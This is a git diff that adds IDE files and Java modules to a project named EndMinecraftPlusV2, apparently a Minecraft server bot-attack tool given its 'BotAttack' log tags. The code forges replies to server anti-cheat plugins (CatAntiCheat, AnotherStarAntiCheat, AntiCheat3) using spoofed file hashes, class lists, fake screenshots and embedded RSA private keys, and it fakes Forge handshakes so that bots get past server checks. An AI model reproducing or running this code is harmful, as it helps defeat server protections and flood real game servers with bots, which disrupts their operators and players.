diff --git a/.idea/.gitignore b/.idea/.gitignore
new file mode 100644
index 0000000..50d9d22
--- /dev/null
+++ b/.idea/.gitignore
@@ -0,0 +1,3 @@
+# 默认忽略的文件
+/shelf/
+/workspace.xml
diff --git a/.idea/.name b/.idea/.name
new file mode 100644
index 0000000..63cf61e
--- /dev/null
+++ b/.idea/.name
@@ -0,0 +1 @@
+EndMinecraftPlusV2
\ No newline at end of file
diff --git a/.idea/artifacts/EndMinecraftPlusV2_jar.xml b/.idea/artifacts/EndMinecraftPlusV2_jar.xml
new file mode 100644
index 0000000..ca20d2b
--- /dev/null
+++ b/.idea/artifacts/EndMinecraftPlusV2_jar.xml
@@ -0,0 +1,27 @@
+
+
+ $PROJECT_DIR$/out/artifacts/EndMinecraftPlusV2_jar
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/misc.xml b/.idea/misc.xml
new file mode 100644
index 0000000..13ac601
--- /dev/null
+++ b/.idea/misc.xml
@@ -0,0 +1,6 @@
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/modules.xml b/.idea/modules.xml
new file mode 100644
index 0000000..8798e19
--- /dev/null
+++ b/.idea/modules.xml
@@ -0,0 +1,25 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/uiDesigner.xml b/.idea/uiDesigner.xml
new file mode 100644
index 0000000..6d50cd4
--- /dev/null
+++ b/.idea/uiDesigner.xml
@@ -0,0 +1,124 @@
+
+
+
+
+ -
+
+
+ -
+
+
+ -
+
+
+ -
+
+
+ -
+
+
+
+
+
+ -
+
+
+
+
+
+ -
+
+
+
+
+
+ -
+
+
+
+
+
+ -
+
+
+
+
+ -
+
+
+
+
+ -
+
+
+
+
+ -
+
+
+
+
+ -
+
+
+
+
+ -
+
+
+
+
+ -
+
+
+ -
+
+
+
+
+ -
+
+
+
+
+ -
+
+
+
+
+ -
+
+
+
+
+ -
+
+
+
+
+ -
+
+
+ -
+
+
+ -
+
+
+ -
+
+
+ -
+
+
+
+
+ -
+
+
+ -
+
+
+
+
+
\ No newline at end of file
diff --git a/AdvanceModule/AdvanceModule.iml b/AdvanceModule/AdvanceModule.iml
new file mode 100644
index 0000000..b9faeb9
--- /dev/null
+++ b/AdvanceModule/AdvanceModule.iml
@@ -0,0 +1,39 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/AdvanceModule/src/cn/serendipityr/EndMinecraftPlusV2/AdvanceModule/ACProtocol/AnotherStarAntiCheat.java b/AdvanceModule/src/cn/serendipityr/EndMinecraftPlusV2/AdvanceModule/ACProtocol/AnotherStarAntiCheat.java
new file mode 100644
index 0000000..3b149eb
--- /dev/null
+++ b/AdvanceModule/src/cn/serendipityr/EndMinecraftPlusV2/AdvanceModule/ACProtocol/AnotherStarAntiCheat.java
@@ -0,0 +1,103 @@
+package cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.ACProtocol;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufInputStream;
+import io.netty.buffer.ByteBufOutputStream;
+import io.netty.buffer.Unpooled;
+import org.spacehq.opennbt.NBTIO;
+import org.spacehq.opennbt.tag.builtin.ByteArrayTag;
+import org.spacehq.opennbt.tag.builtin.CompoundTag;
+import org.spacehq.opennbt.tag.builtin.ListTag;
+
+import javax.crypto.Cipher;
+import java.io.DataInputStream;
+import java.io.DataOutputStream;
+import java.io.IOException;
+import java.math.BigInteger;
+import java.security.KeyFactory;
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
+import java.security.spec.RSAPrivateKeySpec;
+import java.security.spec.RSAPublicKeySpec;
+import java.util.HashSet;
+
+public class AnotherStarAntiCheat {
+ private final RSAPublicKeySpec clientPublicKey;
+ private final RSAPrivateKeySpec clientPrivateKey;
+ private final RSAPrivateKeySpec serverPrivateKey;
+ private final Cipher clientPublicCipher;
+ private final Cipher clientPrivateCipher;
+
+ {
+ clientPublicKey = new RSAPublicKeySpec(new BigInteger("110765265706288445432931740098429930486184776709780238438557625017629729661573053311960037088088056476891441153774532896215697933861615265976216025080531157954939381061122847093245480153835410088489980899310444547515616362801564379991216339336084947840837937083577860481298666622413144703510357744423856873247"), new BigInteger("65537"));
+ clientPrivateKey = new RSAPrivateKeySpec(new BigInteger("127165929499203230494093636558638013965252017663799535492473366241186172657381802456786953683177089298103209968185180374096740166047543803456852621212768600619629127825926162262624471403179175000577485553838478368190967564483813134073944752700839742123715548482599351441718070230200126591331603170595424433351"), new BigInteger("8120442115967552979504430611683477858989268564673406717365778685618263462946775764555188689810276923151226539464042905009305546407509816095746345114598417659887966619863710400187548253486545871530930302536230539029867970428580758154100440676071461522806034959078299053007522099777875429363283152166104624633"));
+ serverPrivateKey = new RSAPrivateKeySpec(new BigInteger("110765265706288445432931740098429930486184776709780238438557625017629729661573053311960037088088056476891441153774532896215697933861615265976216025080531157954939381061122847093245480153835410088489980899310444547515616362801564379991216339336084947840837937083577860481298666622413144703510357744423856873247"), new BigInteger("46811199235043884723986609175064677734346396089701745030024727102450381043328026268845951862745851965156510759358732282931568208403881136178696846768321267356928789780189985031058525539943424151785807761491334305713351706700232920994479762308513198807509163912459260953727448797718901389753582140608347129153"));
+
+ try {
+ (clientPublicCipher = Cipher.getInstance("RSA")).init(1, KeyFactory.getInstance("RSA").generatePublic(clientPublicKey));
+ (clientPrivateCipher = Cipher.getInstance("RSA")).init(2, KeyFactory.getInstance("RSA").generatePrivate(clientPrivateKey));
+ } catch (Exception e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ private void ctsEncode(ByteBuf buf, byte[][] md5s) {
+ try {
+ CompoundTag nbt = new CompoundTag("");
+ ListTag strList = new ListTag("md5s", ByteArrayTag.class);
+ for (final byte[] md5 : md5s) {
+ strList.add(new ByteArrayTag("", md5));
+ }
+ nbt.put(strList);
+ NBTIO.writeTag(new DataOutputStream(new ByteBufOutputStream(buf)), nbt);
+ } catch (Exception e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ private byte[] stcDecode(ByteBuf buf) {
+ try {
+ CompoundTag nbt = (CompoundTag) NBTIO.readTag(new DataInputStream(new ByteBufInputStream(buf)));
+ return ((ByteArrayTag) nbt.get("salt")).getValue();
+ } catch (IOException e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ public byte[] encodeCPacket(String[] md5s, String salt) {
+ try {
+ HashSet rsaMd5s = new HashSet();
+ for (String md5 : md5s) {
+ rsaMd5s.add(clientPublicCipher.doFinal(md5(md5 + salt).getBytes()));
+ }
+
+ ByteBuf buf = Unpooled.buffer();
+ buf.writeByte(1); // packet id
+ ctsEncode(buf, rsaMd5s.toArray(new byte[0][]));
+ return buf.array();
+ } catch (Exception e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ public String decodeSPacket(byte[] data) {
+ try {
+ ByteBuf buf = Unpooled.copiedBuffer(data);
+ buf.readByte(); // packet id
+ return new String(clientPrivateCipher.doFinal(stcDecode(buf)));
+ } catch (Exception e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ public String md5(String str) {
+ try {
+ MessageDigest md = MessageDigest.getInstance("MD5");
+ md.update(str.getBytes());
+ byte[] digest = md.digest();
+ return String.format("%0" + (digest.length << 1) + "x", new BigInteger(1, digest));
+ } catch (NoSuchAlgorithmException e) {
+ return null;
+ }
+ }
+}
diff --git a/AdvanceModule/src/cn/serendipityr/EndMinecraftPlusV2/AdvanceModule/ACProtocol/AntiCheat3.java b/AdvanceModule/src/cn/serendipityr/EndMinecraftPlusV2/AdvanceModule/ACProtocol/AntiCheat3.java
new file mode 100644
index 0000000..114ccb4
--- /dev/null
+++ b/AdvanceModule/src/cn/serendipityr/EndMinecraftPlusV2/AdvanceModule/ACProtocol/AntiCheat3.java
@@ -0,0 +1,81 @@
+package cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.ACProtocol;
+
+import java.io.*;
+import java.math.BigInteger;
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
+import java.util.zip.GZIPInputStream;
+import java.util.zip.GZIPOutputStream;
+
+public class AntiCheat3 {
+
+ public byte[] getCheckData(String acFile, String code, String[] md5List) {
+ try {
+ byte[] buf1 = code.substring(0, 30).getBytes();
+
+ FileInputStream in = new FileInputStream(new File("lib", acFile));
+ byte[] buf2 = new byte[in.available()];
+ in.read(buf2);
+
+ byte[] buf3 = new byte[buf1.length + buf2.length];
+ System.arraycopy(buf1, 0, buf3, 0, buf1.length);
+ System.arraycopy(buf2, 0, buf3, buf1.length, buf2.length);
+
+ try {
+ in.close();
+ } catch (IOException e2) {
+ }
+
+ String result = "";
+ if (md5List != null) {
+ for (String md5 : md5List) {
+ result += md5 + ",";
+ }
+ }
+ result += md5(buf3);
+ return compress(result);
+ } catch (IOException e) {
+ e.printStackTrace();
+ return null;
+ }
+ }
+
+ public byte[] compress(String str) {
+ ByteArrayOutputStream out = new ByteArrayOutputStream();
+ GZIPOutputStream gzip;
+ try {
+ gzip = new GZIPOutputStream(out);
+ gzip.write(str.getBytes());
+ gzip.close();
+ } catch (IOException e) {
+ }
+ return out.toByteArray();
+ }
+
+ public String uncompress(byte[] data) {
+ ByteArrayOutputStream out = new ByteArrayOutputStream();
+ ByteArrayInputStream in = new ByteArrayInputStream(data);
+ try {
+ GZIPInputStream ungzip = new GZIPInputStream(in);
+ byte[] buffer = new byte[256];
+ int n;
+ while ((n = ungzip.read(buffer)) >= 0) {
+ out.write(buffer, 0, n);
+ }
+ } catch (IOException e) {
+ }
+
+ return new String(out.toByteArray());
+ }
+
+ public String md5(byte[] buf) {
+ try {
+ MessageDigest md = MessageDigest.getInstance("MD5");
+ md.update(buf);
+ byte[] digest = md.digest();
+ return String.format("%0" + (digest.length << 1) + "x", new BigInteger(1, digest));
+ } catch (NoSuchAlgorithmException e) {
+ return null;
+ }
+ }
+}
diff --git a/AdvanceModule/src/cn/serendipityr/EndMinecraftPlusV2/AdvanceModule/CatAntiCheat/CatAntiCheat.java b/AdvanceModule/src/cn/serendipityr/EndMinecraftPlusV2/AdvanceModule/CatAntiCheat/CatAntiCheat.java
new file mode 100644
index 0000000..11e73ac
--- /dev/null
+++ b/AdvanceModule/src/cn/serendipityr/EndMinecraftPlusV2/AdvanceModule/CatAntiCheat/CatAntiCheat.java
@@ -0,0 +1,221 @@
+package cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.CatAntiCheat;
+
+import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
+import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
+import org.spacehq.mc.protocol.packet.ingame.client.ClientPluginMessagePacket;
+import org.spacehq.packetlib.Session;
+import org.spacehq.packetlib.io.stream.StreamNetOutput;
+
+import javax.imageio.ImageIO;
+import java.awt.image.BufferedImage;
+import java.io.*;
+import java.math.BigInteger;
+import java.nio.charset.StandardCharsets;
+import java.nio.file.Files;
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
+import java.util.*;
+import java.util.zip.GZIPOutputStream;
+
+public class CatAntiCheat {
+ public static HashMap saltMap = new HashMap<>();
+
+ public static void packetHandle(Session session, byte[] data, String username) {
+ ByteArrayOutputStream buf = new ByteArrayOutputStream();
+ StreamNetOutput out = new StreamNetOutput(buf);
+ byte receivedPacketID = data[0];
+
+ byte sendPacketID;
+ byte clientVersion;
+
+ switch (receivedPacketID) {
+ case 0:
+ // Hello packet reply
+ byte salt = data[1];
+ saltMap.put(session, salt);
+ sendPacketID = 4;
+ clientVersion = 2;
+
+ try {
+ out.writeBytes(new byte[]{sendPacketID, 0, clientVersion, salt});
+ // LogUtil.doLog(0,"发送PluginMessage: " + "CatAntiCheat" + " | " + Arrays.toString(buf.toByteArray()), "CatAntiCheat");
+ session.send(new ClientPluginMessagePacket("CatAntiCheat", buf.toByteArray()));
+ } catch (IOException ignored) {}
+ break;
+ case 1:
+ // File Check packet reply
+ sendPacketID = 5;
+
+ File loadedFiles = ConfigUtil.CACLoadedMods;
+ List fileHashList = getFileHashList(loadedFiles);
+
+ ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+
+ try {
+ GZIPOutputStream gzipOutputStream = new GZIPOutputStream(outputStream);
+ gzipOutputStream.write(saltMap.get(session));
+
+ BufferedWriter writer = new BufferedWriter(new OutputStreamWriter(gzipOutputStream, StandardCharsets.UTF_8));
+ for (int i = 0; i < fileHashList.size(); i++) {
+ if (i > 0) writer.newLine();
+ writer.write(fileHashList.get(i));
+ }
+ writer.flush();
+ writer.close();
+
+ byte[] gzipData = outputStream.toByteArray();
+
+ out.writeByte(sendPacketID);
+ out.writeShort(gzipData.length);
+ out.writeBytes(gzipData);
+ out.writeInt(Arrays.hashCode(gzipData));
+
+ // LogUtil.doLog(0,"发送PluginMessage: " + "CatAntiCheat" + " | " + Arrays.toString(buf.toByteArray()), "CatAntiCheat");
+ LogUtil.doLog(0, "[CatAntiCheat] [" + username + "] 已发送FileCheck数据。", "BotAttack");
+ session.send(new ClientPluginMessagePacket("CatAntiCheat", buf.toByteArray()));
+ } catch (IOException e) {
+ LogUtil.doLog(1, "[CatAntiCheat] [" + username + "] 发送FileCheck数据时发生错误。", "BotAttack");
+ }
+ break;
+ case 2:
+ // Class Check packet reply
+ sendPacketID = 6;
+
+ List foundClassList = ConfigUtil.CACLoadedClass;
+
+ try {
+ out.writeByte(sendPacketID);
+ out.writeShort(foundClassList.size());
+
+ for (String s:foundClassList) {
+ writeUTF8String(out, s);
+ }
+
+ out.writeByte(saltMap.get(session));
+
+ // LogUtil.doLog(0,"发送PluginMessage: " + "CatAntiCheat" + " | " + Arrays.toString(buf.toByteArray()), "CatAntiCheat");
+ LogUtil.doLog(0, "[CatAntiCheat] [" + username + "] 已发送ClassCheck数据。", "BotAttack");
+ session.send(new ClientPluginMessagePacket("CatAntiCheat", buf.toByteArray()));
+ } catch (IOException e) {
+ LogUtil.doLog(1, "[CatAntiCheat] [" + username + "] 发送ClassCheck数据时发生错误。", "BotAttack");
+ }
+ // break;
+ case 3:
+ // Screenshot packet reply
+ sendPacketID = 8;
+ try {
+ File imageFile = ConfigUtil.CACCustomScreenShot;
+ byte[] imageData = getImageData(imageFile);
+ out.writeByte(sendPacketID);
+ ByteArrayInputStream in = new ByteArrayInputStream(imageData);
+ byte[] networkData = new byte[32763];
+ int size;
+ while ((size = in.read(networkData)) >= 0) {
+ ByteArrayOutputStream incomingData = new ByteArrayOutputStream();
+ StreamNetOutput streamNetOutput = new StreamNetOutput(incomingData);
+
+ streamNetOutput.writeByte(sendPacketID);
+ streamNetOutput.writeBoolean(in.available() == 0);
+
+ if (networkData.length == size) {
+ streamNetOutput.writeBytes(networkData);
+ } else {
+ streamNetOutput.writeBytes(Arrays.copyOf(networkData, size));
+ }
+
+ session.send(new ClientPluginMessagePacket("CatAntiCheat", incomingData.toByteArray()));
+ // LogUtil.doLog(0,"发送PluginMessage: " + "CatAntiCheat" + " | " + Arrays.toString(incomingData.toByteArray()), "CatAntiCheat");
+ }
+
+ LogUtil.doLog(0, "[CatAntiCheat] [" + username + "] 已发送ImageData数据。", "BotAttack");
+ } catch (IOException e) {
+ LogUtil.doLog(1, "[CatAntiCheat] [" + username + "] 发送ImageData数据时发生错误。", "BotAttack");
+ }
+ break;
+ case 9:
+ // Data Check packet reply
+ sendPacketID = 10;
+ boolean isLighting = false;
+ boolean isTransparentTexture = false;
+
+ try {
+ out.writeByte(sendPacketID);
+ out.writeBoolean(isLighting);
+ out.writeBoolean(isTransparentTexture);
+
+ // LogUtil.doLog(0,"发送PluginMessage: " + "CatAntiCheat" + " | " + Arrays.toString(buf.toByteArray()), "CatAntiCheat");
+ LogUtil.doLog(0, "[CatAntiCheat] [" + username + "] 已发送VanillaCheck数据。", "BotAttack");
+ session.send(new ClientPluginMessagePacket("CatAntiCheat", buf.toByteArray()));
+ } catch (IOException e) {
+ LogUtil.doLog(1, "[CatAntiCheat] [" + username + "] 发送VanillaCheck数据时发生错误。", "BotAttack");
+ }
+ break;
+ }
+ }
+
+ public static List getFileHashList(File filesDir) {
+ List fileHashList = new ArrayList<>();
+
+ for (File file: Objects.requireNonNull(filesDir.listFiles())) {
+ fileHashList.add(getFileHash(file));
+ }
+
+ return fileHashList;
+ }
+
+ private static String getFileHash(File file) {
+ try {
+ try (InputStream in = Files.newInputStream(file.toPath())) {
+ return calcHash(in) + "\0" + file.getName();
+ }
+ } catch (IOException ignored) { }
+ return null;
+ }
+
+ private static String calcHash(InputStream in) throws IOException {
+ try {
+ MessageDigest md = MessageDigest.getInstance("SHA1");
+
+ final byte[] buffer = new byte[4096];
+ int read = in.read(buffer, 0, 4096);
+
+ while (read > -1) {
+ md.update(buffer, 0, read);
+ read = in.read(buffer, 0, 4096);
+ }
+
+ byte[] digest = md.digest();
+ return String.format("%0" + (digest.length << 1) + "x", new BigInteger(1, digest)).toUpperCase();
+ } catch (NoSuchAlgorithmException e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ public static void writeUTF8String(StreamNetOutput to, String string) throws IOException {
+ byte[] utf8Bytes = string.getBytes(StandardCharsets.UTF_8);
+ writeVarInt(to, utf8Bytes.length);
+ to.writeBytes(utf8Bytes);
+ }
+
+ public static void writeVarInt(StreamNetOutput to, int toWrite) throws IOException {
+ while((toWrite & -128) != 0) {
+ to.writeByte(toWrite & 127 | 128);
+ toWrite >>>= 7;
+ }
+
+ to.writeByte(toWrite);
+ }
+
+ public static byte[] getImageData(File imageFile) {
+ ByteArrayOutputStream out = new ByteArrayOutputStream();
+ try {
+ GZIPOutputStream gzipOutputStream = new GZIPOutputStream(out);
+ BufferedImage bufferedImage = ImageIO.read(imageFile);
+ ImageIO.write(bufferedImage, "png", gzipOutputStream);
+ gzipOutputStream.flush();
+ gzipOutputStream.close();
+ } catch (Exception ignored) {}
+
+ return out.toByteArray();
+ }
+}
diff --git a/AdvanceModule/src/cn/serendipityr/EndMinecraftPlusV2/AdvanceModule/MCForge/MCForge.java b/AdvanceModule/src/cn/serendipityr/EndMinecraftPlusV2/AdvanceModule/MCForge/MCForge.java
new file mode 100644
index 0000000..58ae1e4
--- /dev/null
+++ b/AdvanceModule/src/cn/serendipityr/EndMinecraftPlusV2/AdvanceModule/MCForge/MCForge.java
@@ -0,0 +1,100 @@
+package cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.MCForge;
+
+import org.spacehq.mc.protocol.packet.ingame.client.ClientPluginMessagePacket;
+import org.spacehq.mc.protocol.packet.ingame.server.ServerPluginMessagePacket;
+import org.spacehq.packetlib.Session;
+import org.spacehq.packetlib.event.session.*;
+
+import java.lang.reflect.Field;
+import java.util.Map;
+
+public class MCForge {
+ private final MCForgeHandShake handshake;
+
+ public Map modList;
+ public Session session;
+
+ public MCForge(Session session, Map modList) {
+ this.modList = modList;
+ this.session = session;
+ this.handshake = isAfterVersion1_13() ? new MCForgeHandShakeV2(this) : new MCForgeHandShakeV1(this);
+ }
+
+ public void init() {
+ this.session.addListener(new SessionListener() {
+ public void packetReceived(PacketReceivedEvent e) {
+ if (e.getPacket() instanceof ServerPluginMessagePacket) {
+ handle(e.getPacket());
+ } else if (e.getPacket().getClass().getSimpleName().equals("LoginPluginRequestPacket")) {
+ handshake.handle(e.getPacket());
+ }
+ }
+
+ public void packetSent(PacketSentEvent e) {
+ }
+
+ public void connected(ConnectedEvent e) {
+ modifyHost();
+ }
+
+ public void disconnecting(DisconnectingEvent e) {
+ }
+
+ public void disconnected(DisconnectedEvent e) {
+ }
+ });
+ }
+
+ public void handle(ServerPluginMessagePacket packet) {
+ switch (packet.getChannel()) {
+ case "FML|HS":
+ this.handshake.handle(packet);
+ break;
+ case "REGISTER":
+ case "minecraft:register": // 1.13
+ this.session.send(new ClientPluginMessagePacket(packet.getChannel(), packet.getData()));
+ break;
+ case "MC|Brand":
+ case "minecraft:brand": // 1.13
+ this.session.send(new ClientPluginMessagePacket(packet.getChannel(), "fml,forge".getBytes()));
+ break;
+ }
+ }
+
+ public void modifyHost() {
+ try {
+ Class> cls = this.session.getClass().getSuperclass();
+
+ Field field = cls.getDeclaredField("host");
+ field.setAccessible(true);
+
+ field.set(this.session, this.session.getHost() + "\0" + handshake.getFMLVersion() + "\0");
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ }
+
+ public static boolean isVersion1710() {
+ return (getProtocolVersion() == 5);
+ }
+
+ public static boolean isAfterVersion1_13() {
+ return (getProtocolVersion() >= 393);
+ }
+
+ public static int getProtocolVersion() {
+ try {
+ Class> cls;
+ try {
+ cls = Class.forName("org.spacehq.mc.protocol.ProtocolConstants");
+ } catch (ClassNotFoundException e) {
+ cls = Class.forName("org.spacehq.mc.protocol.MinecraftConstants");
+ }
+
+ Field field = cls.getDeclaredField("PROTOCOL_VERSION");
+ return field.getInt(null);
+ } catch (Exception e) {
+ return 0;
+ }
+ }
+}
diff --git a/AdvanceModule/src/cn/serendipityr/EndMinecraftPlusV2/AdvanceModule/MCForge/MCForgeHandShake.java b/AdvanceModule/src/cn/serendipityr/EndMinecraftPlusV2/AdvanceModule/MCForge/MCForgeHandShake.java
new file mode 100644
index 0000000..6a8cc32
--- /dev/null
+++ b/AdvanceModule/src/cn/serendipityr/EndMinecraftPlusV2/AdvanceModule/MCForge/MCForgeHandShake.java
@@ -0,0 +1,14 @@
+package cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.MCForge;
+
+import org.spacehq.packetlib.packet.Packet;
+
+public abstract class MCForgeHandShake {
+ protected MCForge forge;
+
+ public MCForgeHandShake(MCForge forge) {
+ this.forge = forge;
+ }
+
+ public abstract void handle(Packet recvPacket);
+ public abstract String getFMLVersion();
+}
diff --git a/AdvanceModule/src/cn/serendipityr/EndMinecraftPlusV2/AdvanceModule/MCForge/MCForgeHandShakeV1.java b/AdvanceModule/src/cn/serendipityr/EndMinecraftPlusV2/AdvanceModule/MCForge/MCForgeHandShakeV1.java
new file mode 100644
index 0000000..188de74
--- /dev/null
+++ b/AdvanceModule/src/cn/serendipityr/EndMinecraftPlusV2/AdvanceModule/MCForge/MCForgeHandShakeV1.java
@@ -0,0 +1,75 @@
+package cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.MCForge;
+
+import org.spacehq.mc.protocol.packet.ingame.client.ClientPluginMessagePacket;
+import org.spacehq.mc.protocol.packet.ingame.server.ServerPluginMessagePacket;
+import org.spacehq.packetlib.Session;
+import org.spacehq.packetlib.io.stream.StreamNetOutput;
+import org.spacehq.packetlib.packet.Packet;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+
+public class MCForgeHandShakeV1 extends MCForgeHandShake {
+ public MCForgeHandShakeV1(MCForge forge) {
+ super(forge);
+ }
+
+ public void handle(Packet recvPacket) {
+ ServerPluginMessagePacket packet = (ServerPluginMessagePacket) recvPacket;
+ Session session = forge.session;
+
+ byte[] data = packet.getData();
+ int packetID = data[0];
+
+ switch (packetID) {
+ case 0: // Hello
+ sendPluginMessage(session, packet.getChannel(), new byte[] { 0x01, 0x02 });
+
+ // ModList
+ ByteArrayOutputStream buf = new ByteArrayOutputStream();
+ StreamNetOutput out = new StreamNetOutput(buf);
+ try {
+ out.writeVarInt(2);
+ out.writeByte(forge.modList.size());
+ forge.modList.forEach((k, v) -> {
+ try {
+ out.writeString(k);
+ out.writeString(v);
+ } catch (IOException e) {
+ e.printStackTrace();
+ }
+ });
+ } catch (IOException e) {
+ e.printStackTrace();
+ }
+ sendPluginMessage(session, packet.getChannel(), buf.toByteArray());
+ break;
+ case 2: // ModList
+ sendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x02 }); // ACK(WAITING SERVER DATA)
+ break;
+ case 3: // RegistryData
+ sendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x03 }); // ACK(WAITING SERVER COMPLETE)
+ break;
+ case -1: // HandshakeAck
+ int ackID = data[1];
+ switch (ackID) {
+ case 2: // WAITING CACK
+ sendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x04 }); // PENDING COMPLETE
+ break;
+ case 3: // COMPLETE
+ sendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x05 }); // COMPLETE
+ break;
+ default:
+ }
+ default:
+ }
+ }
+
+ public String getFMLVersion() {
+ return "FML";
+ }
+
+ private void sendPluginMessage(Session session, String channel, byte[] data) {
+ session.send(new ClientPluginMessagePacket(channel, data));
+ }
+}
diff --git a/AdvanceModule/src/cn/serendipityr/EndMinecraftPlusV2/AdvanceModule/MCForge/MCForgeHandShakeV2.java b/AdvanceModule/src/cn/serendipityr/EndMinecraftPlusV2/AdvanceModule/MCForge/MCForgeHandShakeV2.java
new file mode 100644
index 0000000..59214b5
--- /dev/null
+++ b/AdvanceModule/src/cn/serendipityr/EndMinecraftPlusV2/AdvanceModule/MCForge/MCForgeHandShakeV2.java
@@ -0,0 +1,158 @@
+package cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.MCForge;
+
+import org.spacehq.mc.protocol.packet.login.client.LoginPluginResponsePacket;
+import org.spacehq.mc.protocol.packet.login.server.LoginPluginRequestPacket;
+import org.spacehq.packetlib.io.buffer.ByteBufferNetInput;
+import org.spacehq.packetlib.io.stream.StreamNetOutput;
+import org.spacehq.packetlib.packet.Packet;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+public class MCForgeHandShakeV2 extends MCForgeHandShake {
+ private final int Packet_S2CModList = 1;
+ private final int Packet_C2SModListReply = 2;
+ private final int Packet_S2CRegistry = 3;
+ private final int Packet_S2CConfigData = 4;
+ private final int Packet_C2SAcknowledge = 99;
+
+ public MCForgeHandShakeV2(MCForge forge) {
+ super(forge);
+ }
+
+ public void handle(Packet recvPacket) {
+ LoginPluginRequestPacket packet = (LoginPluginRequestPacket) recvPacket;
+ if (!packet.getChannel().equals("fml:loginwrapper")) return;
+
+ try {
+ LoginWrapper loginWrapper = new LoginWrapper().fromBytes(packet.getData());
+ String targetNetworkReceiver = loginWrapper.getTargetNetworkReceiver();
+ ByteBufferNetInput in = new ByteBufferNetInput(ByteBuffer.wrap(loginWrapper.getPayload()));
+
+ int packetID = in.readByte();
+ switch (packetID) {
+ case Packet_S2CModList: {
+ // recv: S2CModList
+ final List mods = new ArrayList<>();
+ int len = in.readVarInt();
+ for (int x = 0; x < len; x++)
+ mods.add(in.readString());
+
+ final Map channels = new HashMap<>();
+ len = in.readVarInt();
+ for (int x = 0; x < len; x++)
+ channels.put(in.readString(), in.readString());
+
+ final List registries = new ArrayList<>();
+ len = in.readVarInt();
+ for (int x = 0; x < len; x++)
+ registries.add(in.readString());
+ // send: C2SModListReply
+ ByteArrayOutputStream buf = new ByteArrayOutputStream();
+ StreamNetOutput out = new StreamNetOutput(buf);
+
+ out.writeByte(Packet_C2SModListReply);
+
+ out.writeVarInt(mods.size());
+ mods.forEach(m -> {
+ try {
+ out.writeString(m);
+ } catch (IOException e) {
+ e.printStackTrace();
+ }
+ });
+
+ out.writeVarInt(channels.size());
+ channels.forEach((k, v) -> {
+ try {
+ out.writeString(k);
+ out.writeString(v);
+ } catch (IOException e) {
+ e.printStackTrace();
+ }
+ });
+
+ // TODO: Fill with known hashes, which requires keeping a file cache (FMLHandshakeMessages.java)
+ out.writeVarInt(0); // empty map
+ /*
+ out.writeVarInt(registries.size());
+ registries.forEach(r -> {
+ try {
+ out.writeString(r);
+ out.writeString("");
+ } catch (IOException e) {
+ e.printStackTrace();
+ }
+ });
+ */
+
+ reply(packet.getMessageId(), targetNetworkReceiver, buf.toByteArray());
+ break;
+ }
+ case Packet_S2CRegistry:
+ case Packet_S2CConfigData: {
+ // recv: S2CRegistry
+ // send: C2SAcknowledge
+ ByteArrayOutputStream buf = new ByteArrayOutputStream();
+ StreamNetOutput out = new StreamNetOutput(buf);
+
+ out.writeByte(Packet_C2SAcknowledge);
+
+ reply(packet.getMessageId(), targetNetworkReceiver, buf.toByteArray());
+ break;
+ }// recv: S2CConfigData
+ }
+ } catch (Exception ex) {
+ forge.session.disconnect("Failure to handshake", ex);
+ }
+ }
+
+ public String getFMLVersion() {
+ return "FML2";
+ }
+
+ private void reply(int id, String targetNetworkReceiver, byte[] payload) throws IOException {
+ forge.session.send(new LoginPluginResponsePacket(id, new LoginWrapper(targetNetworkReceiver, payload).toBytes()));
+ }
+
+ static class LoginWrapper {
+ private String targetNetworkReceiver;
+ private byte[] payload;
+
+ public LoginWrapper() {}
+ public LoginWrapper(String targetNetworkReceiver, byte[] payload) {
+ this.targetNetworkReceiver = targetNetworkReceiver;
+ this.payload = payload;
+ }
+
+ public LoginWrapper fromBytes(byte[] bytes) throws IOException {
+ ByteBufferNetInput in = new ByteBufferNetInput(ByteBuffer.wrap(bytes));
+ this.targetNetworkReceiver = in.readString();
+ this.payload = in.readBytes(in.readVarInt());
+ return this;
+ }
+
+ public byte[] toBytes() throws IOException {
+ ByteArrayOutputStream buf = new ByteArrayOutputStream();
+ StreamNetOutput pb = new StreamNetOutput(buf);
+ pb.writeString(targetNetworkReceiver);
+ pb.writeVarInt(payload.length);
+ pb.writeBytes(payload);
+
+ return buf.toByteArray();
+ }
+
+ public String getTargetNetworkReceiver() {
+ return this.targetNetworkReceiver;
+ }
+
+ public byte[] getPayload() {
+ return this.payload;
+ }
+ }
+}
